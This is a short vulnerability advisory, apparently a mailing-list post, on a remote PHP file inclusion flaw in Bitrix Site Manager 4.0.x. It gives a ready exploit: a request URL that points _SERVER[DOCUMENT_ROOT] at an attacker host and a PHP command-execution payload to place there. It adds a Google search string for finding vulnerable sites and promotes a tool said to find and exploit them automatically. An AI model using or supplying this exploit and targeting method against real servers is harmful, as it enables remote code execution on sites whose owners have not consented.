Vendor: Bitrix
Product: Bitrix Site Manager 4.0.x

Vulnerability: php including.
Consequence: custom php code execution on server
Risk: Critical

Description:
Due to unfiltered _SERVER[DOCUMENT_ROOT] variable in file ?\bitrix\modules\main\start.php?,
hacker can upload php script from other server and execute custom php code on webserver
Send transaction to the server.

Script Example:
<?php
passthru('ls -la');
?>

Transaction should look like http://vilcum/bitrix/admin/index.php?_SERVER[DOCUMENT_ROOT]=http://attac
khost/
?attackhost? server should contain dbconn.php script in /bitrix/php_interface/ ,
that should be executet on the target server.

Google search: inurl: /bitrix/

Discoveried By D_BuG d_bug (at) bk (dot) ru [email concealed]
NemesisSecurityTeam
http://nemesisoftware.com/

CheckZond free v. 1.0 http://nemesisoftware.com/products.htm
uses the vulnerabilities above for automatic vulnerabilities search (Google Hacking technique) and usage.

--
Best regards,
D_BuG mailto:d_bug (at) bk (dot) ru [email concealed]

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